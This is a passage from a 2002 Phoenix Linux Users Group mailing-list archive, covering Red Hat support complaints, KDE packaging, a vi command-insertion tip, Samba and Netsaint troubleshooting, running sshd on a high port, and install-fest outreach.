had problems with my CD-ROM, I went to their web-site for answers. I logged into the members section for answers, but kept on getting 'page cannot be displayed' errors. I was assuming their user's on-line system was down. However, this persisted for a couple of days. I then stumbled upon this group. Got help...and got help quick! I'm not too loyal to Red Hat, and someday, I'll try another distribution. But for now, my machine runs great (thanks to all of you). ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 20:45:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 27 Jun 2002 13:45:33 -0700 (MST) Subject: Membership database In-Reply-To: <02062711351412.07972@nova.wedge.org> Message-ID: Am 27. Jun, 2002 schwätzte Jim so: I stand undecided on the database. A few of us are starting something like that for consulting anyway... > email addresses from Mailman. We could them mass-email all subscribers > pointing them to a yet-to-be built web page with a form to fill out as much SPAM, regardless of the cause, is *BAD*!!! We should not mass-email anyone. If the database project gets done we will have plenty of advertising via the web site and normal discussion on the mailing lists. No need to SPAM people. We would also be able to gently use the announce list. ciao, der.hans -- # https://www.LuftHans.com/ # Keine Ahnung, was ich dir sagen soll, # keine Ahnung und keinen (.)plan. -- die Toten Hosen From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 20:27:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg) Date: Thu, 27 Jun 2002 13:27:13 -0700 Subject: scripts in vi References: Message-ID: <3D1B7521.4010104@ttiltd.com> thanks. This did it. Greg G.D.Thurman wrote: >On Thu, 27 Jun 2002, Greg wrote: > > > >>For example a script that would insert a date into a document. >> >> >> >+ Press ESC (i.e. make sure 'vi' is not in an insert-mode) >+ Go to the spot in your file where you want to insert > the output of a command. >+ Execute the command using the 'r'ead command as follows... > >:r !date > >Example: > >I'm using 'vi' right now at >Thu Jun 27 10:08:49 MST 2002 > >--- > >What is :r !date ? > >Enter into colon : mode (also know as 'ed' mode) >and execute the 'r'ead command followed by ! and >then a command-line. > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > -- Greg ------------------------------------------------------ "Zycie przestalo byc sztuka i Stalo sie sztuczka cyrkowa." - Edward Stachura From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 20:28:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 27 Jun 2002 13:28:01 -0700 Subject: Crappy Products Cost More!! In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B535@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B535@mail.int.fh.org> Message-ID: <1025209681.14660.2.camel@barney.azapple.com> On Thu, 2002-06-27 at 11:08, Tom Achtenberg wrote: > I stand corrected on my versioning. It still stands that Red Hat has yet to put the 3.0.1 updates which do include fixes to Kmail and Konqueror on up2date. And they refuse to provide Red Hat rpm's of KDE for the ftp sites. > ----- According to Bernard Rosenkranz (bero@redhat.de and builder of the rpm's for KDE / Redhat) the version included with 7.3 was a cvs snapshot incorporating 70 - 80% of what was the final 3.01 and he feels that there is little reason to update at this juncture. But of course, you can rant on. Craig From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 20:31:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 27 Jun 2002 13:31:17 -0700 Subject: Crappy Products Cost More!! In-Reply-To: <20020627193318.32149.qmail@web10605.mail.yahoo.com> References: <20020627193318.32149.qmail@web10605.mail.yahoo.com> Message-ID: <1025209877.14660.5.camel@barney.azapple.com> On Thu, 2002-06-27 at 12:33, Alpha Zenon Sanchez wrote: > I'll have to agree with Tom. When I first purchased > Red Hat 7.2, I registered as a user for their 'free' > tech support for 30 days. I didn't fell right paying > for Linux, but thought the 30-day support would be > worth it (I'm new Linux user). > > When I had problems with my CD-ROM, I went to their > web-site for answers. I logged into the members > section > for answers, but kept on getting 'page cannot be > displayed' errors. I was assuming their user's > on-line > system was down. > > However, this persisted for a couple of days. I then > stumbled upon this group. Got help...and got help > quick! > > I'm not too loyal to Red Hat, and someday, I'll try > another distribution. But for now, my machine runs > great (thanks to all of you). > --- IIRC, Konqueror (at least as supplied by redhat) defaulted on a new install to java/javascript off and that would cause some sites not to work. Craig From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 20:26:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Thu, 27 Jun 2002 13:26:56 -0700 Subject: Install fest interest generation References: <4A8DFDA6B395D411A11B00508BEE23FE76B536@mail.int.fh.org> Message-ID: <000a01c21e18$fbd083b0$0301010a@tickticker.com> was that state of the art U.P. technology? :-) anthony ----- Original Message ----- From: "Tom Achtenberg" To: Sent: Thursday, June 27, 2002 11:25 AM Subject: RE: Install fest interest generation > When I was in high school in Michigan, we learned how to compute with slide rules. (I still have one too) > > -----Original Message----- > From: tickticker [mailto:tickticker@cox.net] > Sent: Thursday, June 27, 2002 11:06 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Install fest interest generation > > > i learned assembly and pascal in HS in michigan..... > > > ----- Original Message ----- > From: "Michelle Lowman" > To: > Sent: Thursday, June 27, 2002 9:46 AM > Subject: Re: Install fest interest generation > > > > Many of my Linux students are school tech coordinators (they're all in KS, > tho). I'll keep this in mind and see if I can contact some local tech > coordinators and MS/HS computer teachers. (BTW, we learned BASIC and PASCAL > in HS in Beloit, KS; now they learn Word and Excel -- bummer.) > > > > Michelle Lowman > > > > On Thu, 27 Jun 2002 09:25:22 -0700 (MST) > > Tom Emerson wrote: > > > > > High Schools and the Junior/Middle Schools too. Be nice to spark an > > > interest at the Middle School level. > > > > > > Reaching back in memory, middle school, we had access to the County's > > > PDP11 via a decwriter & acoustic coupler. We were Gods! (Then high > > > school, and punch cards, what a let-down.) My son's computer education > > > isn't too bad, but is limited to very basic office app's (M$). Next > > > upgrade of hardware, dude's getting a Suse (current box is a souped up > > > '486 with w'95, I dread attempting a modern X on it and it's 14" > > > monitor). > > > > > > Anyway, back from memory lane, geeks & engineers are born, not made, > > > there _will_ be an interest at the middle school level. > > > > > > - tom e. > > > ---------- > > > > > > On Thu, 27 Jun 2002, tickticker wrote: > > > > > > How about advertising the Installfest in the local school systems? The > > > local high schools are probably full of the curious. And students like > > > free:-) > > > > > > It wouldn't take much get the message out to the schools, perhaps > posting it > > > in the computer labs. then again, IANAE (I am not an educator) but some > on > > > this list are. > > > > > > anthony > > > > > > ----- Original Message ----- > > > From: "Jim" > > > To: > > > Sent: Wednesday, June 26, 2002 6:47 PM > > > Subject: Re: (no subject) > > > > > > > > > > -----BEGIN PGP SIGNED MESSAGE----- > > > > Hash: SHA1 > > > > > > > > Install Fests generally attract the curious and the convinced. They > are > > > > either convinced that they want to switch to Linux or they are > curious. > > > They > > > > are also usually Joe Sixpack types who are getting on the clue train > or > > > > geeks-in-training who know that there is a lot of fun under the hood. > Not > > > too > > > > many suits show up. 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________________________________________________ > > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't > > > > > post to the list quickly and you use Netscape to write mail. > > > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > - -- > > > > Jim > > > > > > > > Freedom is worth protecting > > > > > > > > -----BEGIN PGP SIGNATURE----- > > > > Version: PGP 6.5.8 > > > > > > > > iQA/AwUBPRpuwisk3ywszI1FEQJ/KACgvsXTGKvsLWy4ACLReiIptTCJmfgAoMc7 > > > > pGSiwO1XtT/Q8RCR0ZCtpzwU > > > > =JDmD > > > > -----END PGP SIGNATURE----- > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 20:58:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 27 Jun 2002 13:58:43 -0700 Subject: Crappy Products Cost More!! Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B539@mail.int.fh.org> Would you settle for a product that is 70 to 80% complete? How about if they left off one tire on your car? Bernard's attitude is a horrible example of bad customer service. (If what you report is accurate.) -----Original Message----- From: Craig White [mailto:craigwhite@azapple.com] Sent: Thursday, June 27, 2002 1:28 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: Crappy Products Cost More!! On Thu, 2002-06-27 at 11:08, Tom Achtenberg wrote: > I stand corrected on my versioning. It still stands that Red Hat has yet to put the 3.0.1 updates which do include fixes to Kmail and Konqueror on up2date. And they refuse to provide Red Hat rpm's of KDE for the ftp sites. > ----- According to Bernard Rosenkranz (bero@redhat.de and builder of the rpm's for KDE / Redhat) the version included with 7.3 was a cvs snapshot incorporating 70 - 80% of what was the final 3.01 and he feels that there is little reason to update at this juncture. But of course, you can rant on. Craig ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 21:00:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 27 Jun 2002 14:00:30 -0700 Subject: Crappy Products Cost More!! Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B53A@mail.int.fh.org> For what it is worth, I have never been able to get Konqueror any version to work on a Java site. And yes I have it enabled and installed. Netscape and Mozilla both work on those sites. -----Original Message----- From: Craig White [mailto:craigwhite@azapple.com] Sent: Thursday, June 27, 2002 1:31 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: Crappy Products Cost More!! On Thu, 2002-06-27 at 12:33, Alpha Zenon Sanchez wrote: > I'll have to agree with Tom. When I first purchased > Red Hat 7.2, I registered as a user for their 'free' > tech support for 30 days. I didn't fell right paying > for Linux, but thought the 30-day support would be > worth it (I'm new Linux user). > > When I had problems with my CD-ROM, I went to their > web-site for answers. I logged into the members > section > for answers, but kept on getting 'page cannot be > displayed' errors. I was assuming their user's > on-line > system was down. > > However, this persisted for a couple of days. I then > stumbled upon this group. Got help...and got help > quick! > > I'm not too loyal to Red Hat, and someday, I'll try > another distribution. But for now, my machine runs > great (thanks to all of you). > --- IIRC, Konqueror (at least as supplied by redhat) defaulted on a new install to java/javascript off and that would cause some sites not to work. Craig ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 21:01:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 27 Jun 2002 14:01:32 -0700 Subject: Install fest interest generation Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B53B@mail.int.fh.org> Naw, I'm not a YouPer -----Original Message----- From: tickticker [mailto:tickticker@cox.net] Sent: Thursday, June 27, 2002 1:27 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Install fest interest generation was that state of the art U.P. technology? :-) anthony ----- Original Message ----- From: "Tom Achtenberg" To: Sent: Thursday, June 27, 2002 11:25 AM Subject: RE: Install fest interest generation > When I was in high school in Michigan, we learned how to compute with slide rules. (I still have one too) > > -----Original Message----- > From: tickticker [mailto:tickticker@cox.net] > Sent: Thursday, June 27, 2002 11:06 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Install fest interest generation > > > i learned assembly and pascal in HS in michigan..... > > > ----- Original Message ----- > From: "Michelle Lowman" > To: > Sent: Thursday, June 27, 2002 9:46 AM > Subject: Re: Install fest interest generation > > > > Many of my Linux students are school tech coordinators (they're all in KS, > tho). I'll keep this in mind and see if I can contact some local tech > coordinators and MS/HS computer teachers. (BTW, we learned BASIC and PASCAL > in HS in Beloit, KS; now they learn Word and Excel -- bummer.) > > > > Michelle Lowman > > > > On Thu, 27 Jun 2002 09:25:22 -0700 (MST) > > Tom Emerson wrote: > > > > > High Schools and the Junior/Middle Schools too. Be nice to spark an > > > interest at the Middle School level. > > > > > > Reaching back in memory, middle school, we had access to the County's > > > PDP11 via a decwriter & acoustic coupler. We were Gods! (Then high > > > school, and punch cards, what a let-down.) My son's computer education > > > isn't too bad, but is limited to very basic office app's (M$). Next > > > upgrade of hardware, dude's getting a Suse (current box is a souped up > > > '486 with w'95, I dread attempting a modern X on it and it's 14" > > > monitor). > > > > > > Anyway, back from memory lane, geeks & engineers are born, not made, > > > there _will_ be an interest at the middle school level. > > > > > > - tom e. > > > ---------- > > > > > > On Thu, 27 Jun 2002, tickticker wrote: > > > > > > How about advertising the Installfest in the local school systems? The > > > local high schools are probably full of the curious. And students like > > > free:-) > > > > > > It wouldn't take much get the message out to the schools, perhaps > posting it > > > in the computer labs. then again, IANAE (I am not an educator) but some > on > > > this list are. > > > > > > anthony > > > > > > ----- Original Message ----- > > > From: "Jim" > > > To: > > > Sent: Wednesday, June 26, 2002 6:47 PM > > > Subject: Re: (no subject) > > > > > > > > > > -----BEGIN PGP SIGNED MESSAGE----- > > > > Hash: SHA1 > > > > > > > > Install Fests generally attract the curious and the convinced. They > are > > > > either convinced that they want to switch to Linux or they are > curious. > > > They > > > > are also usually Joe Sixpack types who are getting on the clue train > or > > > > geeks-in-training who know that there is a lot of fun under the hood. > Not > > > too > > > > many suits show up. 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PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 21:07:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Thu, 27 Jun 2002 16:07:10 -0500 (CDT) Subject: Membership database In-Reply-To: Message-ID: > SPAM, regardless of the cause, is *BAD*!!! We should not mass-email anyone. I disagree. Unsolicted SPAM is pure evil. Solicted SPAM is certainly acceptable. There are many companies I deal with that I request their SPAM because its valuable to me (discounts, special events, promotions etc) and I know they dont abuse me. Other people I do business with I woudl never give them my information or if I did I certainly would opt in for them to send me anything. My two cents. -Derek From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 21:14:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 27 Jun 2002 14:14:55 -0700 Subject: Netsaint Message-ID: <200206271414.55584.zen2now@qwest.net> Ok here goes, cause i guess i am going to be one of those that will struggle. i downloaded and installed NEAT4.9 because at 1st glance it looked like it would make administration easier. i can pull up the web interface and edit the host.cfg, which BTW i couldnt do by using the httpd default group and chmod g+w host.cfg as suggested in the README.txt for NEAT. the problem now is when i try to verify and restart netsaint using the NEAT web interface i get this error msg: ERROR - userid apacheuser (this is not the real default httpd user) cannot run /usr/local/netsaint/bin/netsaint to verify your config. This is probably your httpd userid. Fix this i am not sure why it is using this apache user, it is not entered in the netsaint.cfg file. any ideas? slr From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 21:17:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Eric Katherman) Date: 27 Jun 2002 14:17:53 -0700 Subject: Samba Help?? In-Reply-To: <20020627181354.QGVM8234.lakemtao06.cox.net@smtp.central.cox.net> References: <20020627181354.QGVM8234.lakemtao06.cox.net@smtp.central.cox.net> Message-ID: <1025212690.21221.0.camel@erikat> What do you get when you do a smbstatus? On Thu, 2002-06-27 at 11:13, Carl Parrish wrote: > I let some Window users talk me into rebooting my Linux box to try to fix a problem now my Samba is fubared. I've restarted /usr/bin/smbd and /usr/bin/nmbd but now I can't see any of the window boxes on the network anyone have any ideas? > > > Carl P. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 21:16:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Victor Odhner) Date: Thu, 27 Jun 2002 14:16:00 -0700 Subject: secure shell using other ports than 22 References: Message-ID: <3D1B8090.5388F144@cox.net> Can you run sshd as a normal user on a high port, thus eliminating any chance of a root compromise? Vic From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 21:21:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 27 Jun 2002 14:21:08 -0700 Subject: Distro - NO WAR Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B53D@mail.int.fh.org> I'm willing to change distro's off RH for one that is non-geek friendly and fully supports KDE3.0.1 Any suggestions? Preferably with downloadable iso's Tom Achtenberg Developer, Information Technologies Food for the Hungry / US (480) 609-7750 (voice) (480) 443-1420 (fax) TomA@fh.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 22:03:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Thu, 27 Jun 2002 15:03:14 -0700 Subject: Distro - NO WAR In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B53D@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B53D@mail.int.fh.org> Message-ID: <200206271503.14923@granroth.org> On Thursday 27 June 2002 02:21 pm, Tom Achtenberg wrote: > I'm willing to change distro's off RH for one that is non-geek friendly > and fully supports KDE3.0.1 Any suggestions? Preferably with > downloadable iso's FWIW, the three distros that support KDE pretty reliably are SuSE, Mandrake, and Conectiva. -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 22:04:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 27 Jun 2002 15:04:57 -0700 Subject: Netsaint In-Reply-To: <200206271414.55584.zen2now@qwest.net> References: <200206271414.55584.zen2now@qwest.net> Message-ID: <200206271504.57236.zen2now@qwest.net> maybe a better question would be, is Netsaint worth the hassle? are there better tools for this that are easier to setup? slr On Thursday 27 June 2002 02:14 pm, slr wrote: > Ok here goes, cause i guess i am going to be one of those that will > struggle. i downloaded and installed NEAT4.9 because at 1st glance it > looked like it would make administration easier. i can pull up the web > interface and edit the host.cfg, which BTW i couldnt do by using the httpd > default group and chmod g+w host.cfg as suggested in the README.txt for > NEAT. the problem now is when i try to verify and restart netsaint using > the NEAT web interface i get this error msg: > > ERROR - userid apacheuser (this is not the real default httpd user) cannot > run /usr/local/netsaint/bin/netsaint to verify your config. This is > probably your httpd userid. Fix this > > i am not sure why it is using this apache user, it is not entered in the > netsaint.cfg file. any ideas? > > slr > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 22:02:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Thu, 27 Jun 2002 15:02:25 -0700 Subject: Crappy Products Cost More!! In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B539@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B539@mail.int.fh.org> Message-ID: <200206271502.25609@granroth.org> On Thursday 27 June 2002 01:58 pm, Tom Achtenberg wrote: > Would you settle for a product that is 70 to 80% complete? How about if > they left off one tire on your car? Bernard's attitude is a horrible > example of bad customer service. (If what you report is accurate.) To cut Bero a bit of slack, he creates the RPMs on his own time (mostly). RedHat gives him next to no support internally. Not that that excuses RedHat at all... As for your java issues with Konqueror, it depends on what version of Java you are using. You need java 1.3 or better (the IBM version works great for me). Java support in the upcoming 3.1 (not due until this Fall) is *much* improved over the 3.0.x series as well. -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 22:00:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Thu, 27 Jun 2002 15:00:00 -0700 Subject: Install fest interest generation In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B53B@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B53B@mail.int.fh.org> Message-ID: <200206271500.00141@granroth.org> On Thursday 27 June 2002 02:01 pm, Tom Achtenberg wrote: > Naw, I'm not a YouPer It's "Yooper", not "Youper". :-) For the record, I spent the first 22 years of my life as a Yooper living in the northernmost part of Michigan. Five years living here has cured me of all that, though :-) -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 22:08:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Thu, 27 Jun 2002 15:08:14 -0700 (MST) Subject: Samba Help?? In-Reply-To: <02062711473913.07972@nova.wedge.org> Message-ID: On Thu, 27 Jun 2002, Jim wrote: > HEY! Anyone know why Carl didnt have a Mozilla 1.0 party? Its never too > late, Carl ::grin:: I sent email to the registered address for the Tempe party at the mozilla site... it bounced back to me after the fact... bit of a bummer. \\/ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 22:39:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Thu, 27 Jun 2002 15:39:08 -0700 (PDT) Subject: Crappy Products Cost More!! In-Reply-To: <3D1B02F4.3E355CF9@georgetoft.com> Message-ID: <20020627223908.5883.qmail@web13907.mail.yahoo.com> Just to throw in something from the other side of the coin. My dad is on the other side of the business, he hires consultants to do networking jobs. One of the men he really like is quite expensive, and he told me that that was one of the things that got his attention. He feels since he charges more he must do great work. He also made the comment that he would not of felt comfortable going with someone much cheaper because he would of felt uncomfortable with there ability. mike --- George Toft wrote: > Kevin Brown wrote: > [snip] > > > (Another small story) > > > A friend of mine runs a technology related > service business. He was getting > > > too much work so he started raising his quotes. > He started getting even more > > > work from people that had dropped him before > because he was "priced too low to > > > be very good" as they later told him. > > > (End of small story) > > > > This is because you either don't know what your > skills are worth, or will take > > more time than someone charging more per hour and > cost them more in the long run > > (time == money, especially during downtime). At > least in their eyes. > > > > I knew someone with the same story. When he charged > $35/hour, he was > swamped. Then he charged $75/hour, and he was > losing business. He > raised it to $125/hour and he was getting business > he had lost before. > Their stated reason for not hiring him at $75/hour > was they though he > didn't know what he was doing at that price. For > $125/hour they thought > he was competent. > > No change in technical skill - just a change in > marketing. > > George > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 22:43:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 27 Jun 2002 15:43:04 -0700 Subject: Install fest interest generation Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B53F@mail.int.fh.org> Well, pretty close for a troll :) At least I'm not from Ohio. -----Original Message----- From: Kurt Granroth [mailto:kurt@granroth.org] Sent: Thursday, June 27, 2002 3:00 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Install fest interest generation On Thursday 27 June 2002 02:01 pm, Tom Achtenberg wrote: > Naw, I'm not a YouPer It's "Yooper", not "Youper". :-) For the record, I spent the first 22 years of my life as a Yooper living in the northernmost part of Michigan. Five years living here has cured me of all that, though :-) -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 22:41:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Thu, 27 Jun 2002 15:41:32 -0700 Subject: Install fest interest generation In-Reply-To: <200206271500.00141@granroth.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B53B@mail.int.fh.org> <200206271500.00141@granroth.org> Message-ID: <02062715413316.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Down in Detroit we referred to youse guys who lived in gods country north of the bridge as you-pee-ers ::grin:: On Thursday 27 June 2002 15:00, you wrote: > On Thursday 27 June 2002 02:01 pm, Tom Achtenberg wrote: > > Naw, I'm not a YouPer > > It's "Yooper", not "Youper". :-) > > For the record, I spent the first 22 years of my life as a Yooper living in > the northernmost part of Michigan. Five years living here has cured me of > all that, though :-) - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRuUnSsk3ywszI1FEQKQeQCfWKIkmAxn6SS8sWTgFcr2/pN6cO8AoJt1 x7aL47MbwnUjcXA35miRvU/F =qGzn -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 22:41:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 27 Jun 2002 15:41:55 -0700 Subject: Crappy Products Cost More!! Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B53E@mail.int.fh.org> I agree the RH problem is management. KDE's web site doesn't name him but does state the a RH employee makes the rpm's on his own time. I believe it is 1.3 Java that I have installed. At least the up2date says my system is 100% up to date (in their eyes anyway.) I have iso's from Mandrake from early April. ver 8.1 I think. Does Mandrake have anything like the up2date service? If so I may go that direction this weekend. -----Original Message----- From: Kurt Granroth [mailto:kurt@granroth.org] Sent: Thursday, June 27, 2002 3:02 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Crappy Products Cost More!! On Thursday 27 June 2002 01:58 pm, Tom Achtenberg wrote: > Would you settle for a product that is 70 to 80% complete? How about if > they left off one tire on your car? Bernard's attitude is a horrible > example of bad customer service. (If what you report is accurate.) To cut Bero a bit of slack, he creates the RPMs on his own time (mostly). RedHat gives him next to no support internally. Not that that excuses RedHat at all... As for your java issues with Konqueror, it depends on what version of Java you are using. You need java 1.3 or better (the IBM version works great for me). Java support in the upcoming 3.1 (not due until this Fall) is *much* improved over the 3.0.x series as well. -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 23:14:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 27 Jun 2002 16:14:57 -0700 (MST) Subject: secure shell using other ports than 22 In-Reply-To: <3D1B8090.5388F144@cox.net> Message-ID: Am 27. Jun, 2002 schwätzte Victor Odhner so: > Can you run sshd as a normal user on a high port, > thus eliminating any chance of a root compromise? Yes. I used to do that at ASU as ssh wasn't available. You can't log in as multiple users, but if you're just using it for one id, then it works great. ciao, der.hans -- # https://www.LuftHans.com/ # kill telnet, long live ssh - der.hans From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 23:13:17 2002 From: 